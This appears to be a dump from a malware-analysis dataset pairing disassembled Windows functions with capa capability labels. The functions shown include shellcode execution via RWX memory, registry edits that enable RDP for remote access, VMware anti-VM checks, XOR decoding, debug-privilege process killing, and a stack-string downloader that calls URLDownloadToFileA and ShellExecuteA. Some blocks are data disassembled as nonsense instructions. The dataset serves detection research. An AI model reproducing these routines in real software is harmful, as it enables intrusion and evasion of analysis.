joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416959
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push esi
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], str.psyi8v2qgb92u3huv7jvov
mov dword [ebp - 0x28], 0x6ecd64ac
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0
mov ecx, dword [sym.imp.kernel32.dll_GetLastError]
mov dword [ebp - 4], ecx
push 0
push 0x4e
push 0x1e
push 0
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_VirtualProtectEx]
or eax, eax
je 0x417e04
and al, 0xb1
test al, 0x27
sbb eax, dword [edi - 0x740ab77f]
outsb dx, byte [esi]
and ebx, edx
xchg esi, eax
jmp 0x416a15
imul ecx, dword [ecx - 0x76], 0x3d0dec22
adc dword [ecx + 0x54], 0x38
div ebx
daa
daa
xchg esi, eax
stc
cmovl ecx, dword [edx + ecx]
mov dl, byte [esi + 0x49]
ja 0x416a21
mov eax, dword [0x1cab942a]
push esp
inc edx
dec ecx
adc byte [esi + 7], 0x5c
enter 0x68d2, 0xffffffffffffff9c
in al, 0xa
inc esp
add ah, byte [esi + 0x32]
add ebx, dword [eax]
xchg dword [ecx + 0x6e8bf148], eax
pop ebx
jecxz 0x416acf
push es
mov dword [eax + 0x5a], esp
mov edi, 0x505689e6
invalid
and dword [ecx + ebp*2], ebp
jmp 0x416b0c
dec eax
int1
wait
outsb dx, byte [esi]
and dword [ebx + ebp*2], ebp
jmp 0x416b4d
dec eax
int1
mov ebp, dword [esi + 0x21]
sub al, 0x69
jmp 0x416b92
and dword [ecx + ebp*2], ebp
jmp 0x416bcf
sub eax, 0x216eff89
sub al, 0x69
pop ebx
xor esp, dword [edi]
sbb byte [edi - 0x120eb77f], dl
push 0x21
sub al, 0x6d
jmp 0x416c1d
sub si, 2
dec esi
dec edi
imul ebp, ebx, 0x87182538
sub dword [eax - 3], 0x2c236e8b
imul ebp, ebx, 0x87182384
or dword [eax - 0xf], 0x2c216e8b
imul ebp, ebx, 0x87582738
or dword [eax + 0x216e8bf1], 0x38eb692c
daa
sbb byte [edi - 0x740eb77f], al
outsb dx, byte [esi]
and dword [ecx + ebp*2], ebp
jmp 0x416c92
dec eax
int1
mov ebp, dword [esi + 0x21]
sub al, 0x69
jmp 0x416cd3
dec eax
int1
mov ebp, dword [esi + 0x21]
sub al, 0x69
jmp 0x416d14
dec eax
int1
mov ebp, dword [esi + 0x21]
sub al, 0x69
jmp 0x416d55
dec eax
int1
mov ebp, dword [esi + 0x21]
sub al, 0x69
jmp 0x416d96
dec eax
int1
mov ebp, dword [esi + 0x21]
sub al, 0x69
jmp 0x416dd7
bound edx, qword [ebx + 0x51]
sbb bl, byte [ebx + 0x1c13f95a]
and eax, 0xf7da3468
ret 0xd037
mov esi, dword [ebp - 4]
call esi
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x57
jne 0x417e1e
mov edx, dword [ebp - 0x24]
push edx
call fcn.00401000
add esp, 4
sub eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4071b0
Capabilities:
Hide shutdown actions via policy

Disassembly:
sub esp, 0x94
push edi
push 0x42b9a8
push str.Enabled
push str.SOFTWAREMicrosoftWindowsCurrentVersion_netcache
push 0x80000002
call fcn.004070f0
push 1
push str.EnableAdminTSRemote
push str.SOFTWAREPoliciesMicrosoftWindowsInstaller
push 0x80000002
call fcn.00407150
push 0x42b9a8
push str.ShutdownWithoutLogon
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call fcn.004070f0
add esp, 0x30
push 1
push str.delbanEST
call fcn.00424b68
add esp, 4
push eax
push str.SYSTEMCurrentControlSetControlTerminal_Server
push 0x80000002
call fcn.00407150
add esp, 0x10
push 2
push str.tratS
call fcn.00424b68
add esp, 4
push eax
push str.SYSTEMCurrentControlSetServicesTermDD
push 0x80000002
call fcn.00407150
push 2
push str.Start
push str.SYSTEMCurrentControlSetServicesTermService
push 0x80000002
call fcn.00407150
push 1
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push 0x80000002
call fcn.00407150
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerRDPTcp
push 0x80000002
call fcn.00407150
add esp, 0x40
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push 0x80000002
call fcn.00407150
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWds_rdpwdTds_tcp
push 0x80000002
call fcn.00407150
push 0x42b9c8
push str.Hotkey
push str..DEFAULTKeyboard_LayoutToggle
push 0x80000003
call fcn.004070f0
push 0
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push 0x80000002
call fcn.00407150
mov ecx, 0x24
xor eax, eax
lea edi, [esp + 0x48]
mov dword [esp + 0x44], 0x94
add esp, 0x40
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
push eax
call dword [0x426074]
mov eax, dword [esp + 8]
pop edi
cmp eax, 5
jne 0x407349
mov eax, dword [esp + 8]
test eax, eax
jne 0x407349
push 1
push str.SeShutdownPrivilege
call fcn.00412e80
add esp, 8
push 0
push 2
call dword [0x431244]
push 0
push str.SeShutdownPrivilege
call fcn.00412e80
add esp, 8
add esp, 0x94
ret

Function at 0x407a20
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4262d8
push 0x41b828
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
pushal
pushfd
xor ebx, ebx
mov ecx, 0xa
mov eax, 0x564d5868
mov dx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete al
movzx eax, al
mov dword [0x4316a0], eax
popfd
popal
jmp 0x407a88
mov dword [ebp - 4], 0xffffffff
mov eax, dword [0x4316a0]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40aad0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x18]
xor ebp, ebp
push 0x104
mov dword [esp + 0x14], ecx
push eax
mov dword [esp + 0x1c], ebp
call dword [0x4260e8]
mov ecx, dword [0x4321e4]
push str.XXXXXX
push ecx
call fcn.00405570
mov edx, eax
or ecx, 0xffffffff
mov edi, 0x42b1f0
xor eax, eax
add esp, 8
add edx, 6
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebx, [esp + 0x18]
mov esi, edi
mov edi, ebx
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea ebx, [esp + 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x20]
and ecx, 3
push 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push 1
and ecx, 3
lea eax, [esp + 0x2c]
push 0x80000000
push eax
rep movsb byte es:[edi], byte [esi]
call dword [0x4260c0]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40ac00
push ebp
push ebx
call dword [0x4260bc]
mov edi, eax
push edi
call fcn.0041ab8e
add esp, 4
lea ecx, [esp + 0x14]
mov esi, eax
push ebp
push ecx
push edi
push esi
push ebx
call dword [0x4260c4]
xor eax, eax
test edi, edi
jbe 0x40abea
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x40abdc
mov ecx, dword [esp + 0x10]
push edi
push esi
call fcn.0040aa70
push esi
mov ebp, eax
call fcn.0041ab9c
add esp, 4
push ebx
call dword [0x4261b8]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret
Function at 0x40e9d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
nop
mov ecx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push ecx
mov dword [ebp - 4], 0
call fcn.0040e870
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x40ea18
push ebx
mov edx, dword [ebp - 4]
mov bl, byte [ecx + edx]
add bl, 0x7a
mov byte [ecx + edx], bl
mov edx, dword [ebp - 4]
mov bl, byte [ecx + edx]
xor bl, 0x19
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x40e9f3
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x4108c0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
call dword [0x426110]
lea ecx, [esp]
push ecx
push 0x28
push eax
call dword [0x4310c8]
test eax, eax
je 0x410924
lea edx, [esp + 8]
push edx
push str.SeDebugPrivilege
push 0
call dword [0x4310cc]
test eax, eax
je 0x410919
mov ecx, dword [esp]
push 0
push 0
lea eax, [esp + 0xc]
push 0
push eax
push 0
push ecx
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [0x4310d0]
mov edx, dword [esp]
push edx
call dword [0x4261b8]
add esp, 0x14
ret

Function at 0x410eb0
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4263c0
push 0x41b828
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4110d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x3c
push ebx
lea eax, [esp + 0x10]
push esi
mov esi, dword [0x426060]
mov bl, 0x6c
push eax
mov byte [esp + 0x18], 0x53
mov byte [esp + 0x19], 0x68
mov byte [esp + 0x1a], 0x65
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x33
mov byte [esp + 0x1e], 0x32
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0
call esi
lea ecx, [esp + 8]
mov dword [0x43289c], eax
push ecx
mov byte [esp + 0xc], 0x75
mov byte [esp + 0xd], 0x72
mov byte [esp + 0xe], bl
mov byte [esp + 0xf], 0x6d
mov byte [esp + 0x10], 0x6f
mov byte [esp + 0x11], 0x6e
mov byte [esp + 0x12], 0x2e
mov byte [esp + 0x13], 0x64
mov byte [esp + 0x14], bl
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], 0
call esi
mov esi, dword [0x42605c]
mov dword [0x4328a0], eax
mov eax, dword [0x43289c]
lea edx, [esp + 0x20]
push edx
push eax
mov byte [esp + 0x28], 0x53
mov byte [esp + 0x29], 0x68
mov byte [esp + 0x2a], 0x65
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], 0x45
mov byte [esp + 0x2e], 0x78
mov byte [esp + 0x2f], 0x65
mov byte [esp + 0x30], 0x63
mov byte [esp + 0x31], 0x75
mov byte [esp + 0x32], 0x74
mov byte [esp + 0x33], 0x65
mov byte [esp + 0x34], 0x41
mov byte [esp + 0x35], 0
call esi
mov edx, dword [0x4328a0]
lea ecx, [esp + 0x30]
push ecx
push edx
mov dword [0x4321fc], eax
mov byte [esp + 0x38], 0x55
mov byte [esp + 0x39], 0x52
mov byte [esp + 0x3a], 0x4c
mov byte [esp + 0x3b], 0x44
mov byte [esp + 0x3c], 0x6f
mov byte [esp + 0x3d], 0x77
mov byte [esp + 0x3e], 0x6e
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 0x6f
mov byte [esp + 0x41], 0x61
mov byte [esp + 0x42], 0x64
mov byte [esp + 0x43], 0x54
mov byte [esp + 0x44], 0x6f
mov byte [esp + 0x45], 0x46
mov byte [esp + 0x46], 0x69
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 0x65
mov byte [esp + 0x49], 0x41
mov byte [esp + 0x4a], 0
call esi
mov dword [0x4329a4], eax
mov esi, dword [esp + 0x4c]
mov ecx, dword [esp + 0x48]
push 0
push 0
push esi
push ecx
push 0
call eax
push 5
push 0
push 0
push esi
push str.open
push 0
call dword [0x4321fc]
pop esi
pop ebx
add esp, 0x3c
ret
Function at 0x412a40
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x238
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.00412e80
add esp, 8
push esi
push 2
call fcn.0041464c
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x412aa4
pop edi
xor eax, eax
pop esi
add esp, 0x238
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x128
call dword [0x4260b4]
mov ebp, eax
mov ebx, 1
push ebx
mov byte [ebp], 0x81
call dword [0x426044]
lea eax, [esp + 0x1c]
push eax
push edi
call fcn.00414646
test eax, eax
je 0x412bfa
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [0x426114]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x412be7
cmp eax, 4
je 0x412be7
cmp eax, 8
je 0x412be7
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call fcn.00424ee1
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call fcn.00424ecf
mov edi, dword [0x426048]
lea eax, [esp + 0x40]
push eax
call edi
lea ecx, [esp + 0x144]
mov esi, eax
push ecx
call edi
lea esi, [esi + eax + 6]
push ebp
add esi, ebx
call dword [0x426134]
cmp eax, esi
jae 0x412b72
push 0x42
push esi
push ebp
call dword [0x4260ac]
mov ebp, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebx, 4
call edi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [0x426048]
call esi
lea ecx, [esp + 0x144]
lea ebx, [ebx + eax + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [0x426048]
mov edi, dword [esp + 0x14]
lea ebx, [ebx + eax + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call fcn.00414640
test eax, eax
jne 0x412ae0
push 0x42
push ebx
push ebp
call dword [0x4260ac]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.00412e80
add esp, 8
push edi
call dword [0x4261b8]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x238
ret
Function at 0x412e00
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x14], edi
call fcn.00412e80
mov ebx, dword [esp + 0x20]
add esp, 8
xor esi, esi
test ebx, ebx
jbe 0x412e57
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [0x426114]
mov edi, eax
push 0
push edi
call dword [0x426158]
push edi
call dword [0x4261b8]
add esi, 4
cmp esi, ebx
jb 0x412e28
mov edi, dword [esp + 0x10]
pop ebp
push 0
push str.SeDebugPrivilege
call fcn.00412e80
add esp, 8
call fcn.00412df0
mov ecx, edi
call fcn.00412c30
mov ecx, edi
call fcn.00412c60
pop edi
pop esi
pop ebx
pop ecx
ret 8

Function at 0x413550
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [0x4261c0]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x4134a0
push eax
push ecx
call fcn.0041c63e
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [0x42600c]
mov eax, dword [esp + 0x10]
push eax
call dword [0x4261b8]
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x41c7a2
Capabilities:
Terminate process

Disassembly:
mov ebp, esp
push 0xffffffffffffffff
push 0x427288
push 0x41b828
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x58
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
call dword [0x4261e8]
xor edx, edx
add ah, dl
mov dword [0x434b28], edx
mov ecx, eax
and ecx, 0xff
mov dword [0x434b24], ecx
shl ecx, 8
add ecx, edx
mov dword [0x434b20], ecx
shr eax, 0x10
mov dword [0x434b1c], eax
push 1
call fcn.0041e528
pop ecx
test eax, eax
jne 0x41c80c
push 0x1c
call fcn.0041c8ce
pop ecx
call fcn.0041d29c
test eax, eax
jne 0x41c81d
push 0x10
call fcn.0041c8ce
pop ecx
xor esi, esi
mov dword [ebp - 4], esi
call fcn.004216e0
call dword [0x4261e4]
mov dword [0x4361b8], eax
call fcn.004215ae
mov dword [0x434a98], eax
call fcn.00421361
call fcn.004212a8
call fcn.0041f799
mov dword [ebp - 0x30], esi
lea eax, [ebp - 0x5c]
push eax
call dword [0x42614c]
call fcn.00421250
mov dword [ebp - 0x64], eax
test byte [ebp - 0x30], 1
je 0x41c86c
movzx eax, word [ebp - 0x2c]
jmp 0x41c86f
push 0xa
pop eax
push eax
push dword [ebp - 0x64]
push esi
push esi
call dword [0x426168]
push eax
call main
mov dword [ebp - 0x60], eax
push eax
call fcn.0041f7c6
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x68], ecx
push eax
push ecx
call fcn.004210d8
pop ecx
pop ecx
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e072
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0xa016733
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
je 0x42e0d2
nop
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x70a13977
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x10001690
Capabilities:
Get local ipv4 addresses

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x18
mov dword [ebp - 0x10], 0x1000
mov dword [esp], 0x1000
call dword [sym.imp.ucrtbase.dll_malloc]
test eax, eax
je 0x10001751
mov esi, eax
mov edi, dword [sym.imp.iphlpapi.dll_GetAdaptersAddresses]
mov dword [esp + 8], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], eax
mov dword [esp + 4], pe_nt_image_headers32
mov dword [esp], 0
call edi
sub esp, 0x14
cmp eax, 0x6f
jne 0x10001734
lea esi, [esi]
mov eax, dword [ebp - 0x10]
mov dword [esp], esi
mov ebx, esi
mov dword [esp + 4], eax
call dword [sym.imp.ucrtbase.dll_realloc]
mov esi, eax
test eax, eax
je 0x10001742
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0
mov dword [esp + 4], pe_nt_image_headers32
mov dword [esp], 0
call edi
sub esp, 0x14
cmp eax, 0x6f
je 0x100016f0
test eax, eax
jne 0x10001748
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, ebx
lea esi, [esi]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_free]
xor esi, esi
jmp 0x10001738

Function at 0x100017e0
Capabilities:
Get disk size

Disassembly:
push edi
lea edi, [esp + 8]
and esp, 0xfffffff8
push dword [edi - 4]
push ebp
mov ebp, esp
push edi
push esi
mov esi, eax
xor eax, eax
push ebx
mov ebx, edx
sub esp, 0x6c
mov word [ebp - 0x3a], ax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x46], 0x5c005c
mov dword [ebp - 0x42], 0x5c002e
mov dword [ebp - 0x3e], 0x3a0041
mov dword [ebp - 0x50], 0x20000000
mov dword [ebp - 0x4c], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_GetDiskFreeSpaceExW]
movzx eax, word [esi]
sub esp, 0x10
mov word [ebp - 0x3e], ax
lea eax, [ebp - 0x46]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_CreateFileW]
sub esp, 0x1c
cmp eax, 0xffffffff
je 0x100018e3
mov esi, eax
mov dword [esp + 0x1c], 0
lea eax, [ebp - 0x54]
mov dword [esp + 0x14], 0x28
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x38]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x700a0
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_DeviceIoControl]
sub esp, 0x20
test eax, eax
jne 0x100018f8
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
lea esp, [edi - 8]
pop edi
ret
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebx], eax
mov dword [ebx + 4], edx
jmp 0x100018d7
Function at 0x10001910
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ebx
lea ebx, [ebp - 0x20e]
sub esp, 0x22c
mov dword [esp + 0x1c], 0x105
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetVolumeInformationW]
sub esp, 0x20
test eax, eax
jne 0x10001980
mov dword [esp], str.NTFS
call dword [sym.imp.ucrtbase.dll__wcsdup]
mov ebx, dword [ebp - 4]
leave
ret
mov dword [esp], ebx
call dword [sym.imp.ucrtbase.dll__wcsdup]
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x10001990
Capabilities:
Get disk information

Disassembly:
push ebp
mov edx, eax
mov ecx, 0x82
xor eax, eax
mov ebp, esp
push edi
lea edi, [ebp - 0x20e]
sub esp, 0x22c
rep stosd dword es:[edi], eax
xor eax, eax
mov word [edi], ax
lea edi, [ebp - 0x20e]
mov dword [esp + 4], edi
mov dword [esp], edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x105
call dword [sym.imp.kernel32.dll_GetVolumeInformationW]
sub esp, 0x20
mov dword [esp], edi
call dword [sym.imp.ucrtbase.dll__wcsdup]
mov edi, dword [ebp - 4]
leave
ret

Function at 0x10001e20
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ebx, edx
lea edx, [ebp - 0x18]
sub esp, 0x30
mov dword [ebp - 0x18], 0
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0x80000002
call dword [sym.imp.advapi32.dll_RegOpenKeyExW]
sub esp, 0x14
test eax, eax
jne 0x10001ea0
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edi, [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], edi
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.advapi32.dll_RegQueryValueExW]
mov dword [ebp - 0x1c], eax
call eax
sub esp, 0x18
test eax, eax
jne 0x10001ea0
cmp dword [ebp - 0x10], 1
je 0x10001ec0
xor esi, esi
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10001eb5
mov dword [esp], eax
call dword [sym.imp.advapi32.dll_RegCloseKey]
sub esp, 4
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
lea edx, [ecx + 2]
mov dword [ebp - 0x20], eax
mov dword [esp], edx
mov dword [ebp - 0x24], edx
call dword [sym.imp.ucrtbase.dll_malloc]
mov esi, eax
test eax, eax
je 0x10001ea0
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x14], edx
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], eax
mov dword [ebp - 0x24], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [ebp - 0x1c]
call eax
mov ecx, dword [ebp - 0x24]
sub esp, 0x18
test eax, eax
je 0x10001ea2
mov dword [esp], ecx
call dword [sym.imp.ucrtbase.dll_free]
jmp 0x10001ea0